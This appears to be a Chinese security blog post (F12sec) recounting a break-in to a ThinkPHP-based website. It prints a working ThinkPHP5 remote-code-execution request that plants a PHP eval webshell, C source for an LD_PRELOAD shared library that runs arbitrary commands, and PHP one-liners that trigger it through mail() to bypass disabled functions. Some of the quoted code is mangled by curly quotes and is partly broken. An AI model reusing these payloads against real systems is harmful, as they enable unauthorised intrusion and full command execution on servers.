申明:本次测试只作为学习用处,请勿未授权进行渗透测试,切勿用于其它用途!
ps:本文章投稿来自M78安全团队的花童师傅。花童yyds!!!
1.前言
首先要感谢mucn巨佬提供的鼎力相助
目标站:www.xxxx.xxxx
2.漏洞实例
这里注入什么的就不用说了,没什么用,我也不发那种拖沓的过程截图了
随手一个admin出现后台 (和若依真像)
账号密码admin/1234 进去后 基本没有什么功能
发现没什么用
不过暴露了一个信息 tp建的
tp 直接拿一波exp打一下 不就完了 (感觉太顺利了就有鬼)
然后命令执行 好家伙 IP无了
看来需要手动一波 这里推荐下mucn哥哥的分享
https://github.com/mulcl/S_mucn/blob/main/RCE/Thinkphp5_RCE.md
这里首先测试一波phpinfo
好的没什么问题
写一波马
?s=/Index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=136.php&vars[1][1]=<?=eval($_REQUEST[HT]);?>
写入正常(不可能这么顺利吧)
顺手看看是否禁用了一些函数 我努力保持微笑 心想(蚁剑有插件 蚁剑有插件)
(注:哥斯拉和冰蝎全部阵亡 貌似就普通一句话还能打,所以这里用了蚁剑)
用了冰蝎后出现
两者都是一样的效果 如下:
接下来看到这些绿框框我就《放心》了:
再即将开始操作的时候
蚁老师?发生什么事了
看到红框大事不妙 返回web页面刷新一波 我tm又无了
完蛋 这里触及到知识盲区了 没办法 我就是这么菜 要去请教一下巨佬了通过mucn哥哥分享的一处知识链接 去看了下
https://blog.csdn.net/qq_41107295/article/details/98462891?ivk_sa=1024320u
原理:php不允许命令执行,但php可以通过LD_PRELOAD这个东西调用so文件,然后可以通过mile或error_log函数触发执行so文件。所以so文件里可以写一些命令执行的内容,那么此时也就不是php执行命令了,而是so文件执行的系统命令。
这里我vps启动下访问
这里往目录里写个写个TXT测试目标主机是不是可以出网。
可以看见成功输出了我写入的文本
利用网上大佬写的动态调用c脚本
脚本如下:
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
extern char** environ;
__attribute__ ((__constructor__)) void preload (void)
{
// get command line options and arg
const char* cmdline = getenv("EVIL_CMDLINE");
// unset environment variable LD_PRELOAD.
// unsetenv("LD_PRELOAD") no effect on some
// distribution (e.g., centos), I need crafty trick.
int i;
for (i = 0; environ[i]; ++i) {
if (strstr(environ[i], "LD_PRELOAD")) {
environ[i][0] = ' ';
}
}
// executive command
system(cmdline);
}
编译一波
把编译好的.so上传到vps里。
这里我是挂了代理复活后直接又用一次操作机会将so上传至网站目录内
网上的脚本:
2>&1″;echo“<p<b>cmdline</b>:”.$evil_cmdline.“</p>”;putenv(“EVIL_CMDLINE=”$evil_cmdline);$so_path=$_GET[“sopath”];putenv(“LD_PRELOAD=”.$so_path);mail(“message”,“”,“”,“”);echo“<p><b>output</b>:<br/>”.nl2br(file_get_contents($out_path)).“</p> $cmd=$_GET[“cmd”];$out_path=$_GET[“outpath”];$evil_cmdline=$cmd.”>”.$out_path.”
修改简化下脚本直接用在一句话木马上:
$cmd = “uname -a”;
#表示执行的命令
$out_path = “/tmp/by”;
#so文件接收到执行命令执行后输出到这个文件里(最基本就是得有写入权限,如果没有可能还得修改c源码)
$evil_cmdline = $cmd . ” > ” . $out_path . ” 2>%261″;
#传递参数值
putenv(“EVIL_CMDLINE=”.$evil_cmdline);
$so_path=“/www/www/wwwroot/kehu21/03/kh330_cfv4/public/HT666.so”;
#so文件路径,一定要对
putenv(“LD_PRELOAD=” . $so_path);
#调用so文件
mail(“message”, “”, “”, “”);
#通过mile函数触发这个so文件并且执行echo “output: “
最后把这些函数给写成一行也就可以直接网页执行了。Paylaod:
HT=$cmd=“whoami”;$out_path=“/tmp/by”;$evil_cmdline=$cmd.”>”.$out_path.”2>%261″;putenv(“EVIL_CMDLINE=”.$evil_cmdline);$so_path=“/www/www/wwwroot/kehu21/03/kh330_cfv4/public/HT666.so”;putenv(“LD_PRELOAD=”$so_path);mail(“message”,“”,“”,“”);echo“output:” . file_get_contents($out_path);unlink($out_path);
成功命令执行:
-
往期精彩推荐
❤️爱心三连击
1.关注公众号「F12sec」!
2.本文已收录在F12sec官方网站:http://www.0dayhack.net/
3.看到这里了就点个关注支持下吧,你的「关注」是我创作的动力。
公众号:F12sec
QQ群:884338047
官方网站:http://www.0dayhack.net/
这是一个终身学习的团队,他们在坚持自己热爱的事情,欢迎加入F12sec,和师傅们一起开心的挖洞~
关注和转发是莫大鼓励❤️
本文始发于微信公众号(F12sec):实战 | 记一次非法站点的艰难渗透
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论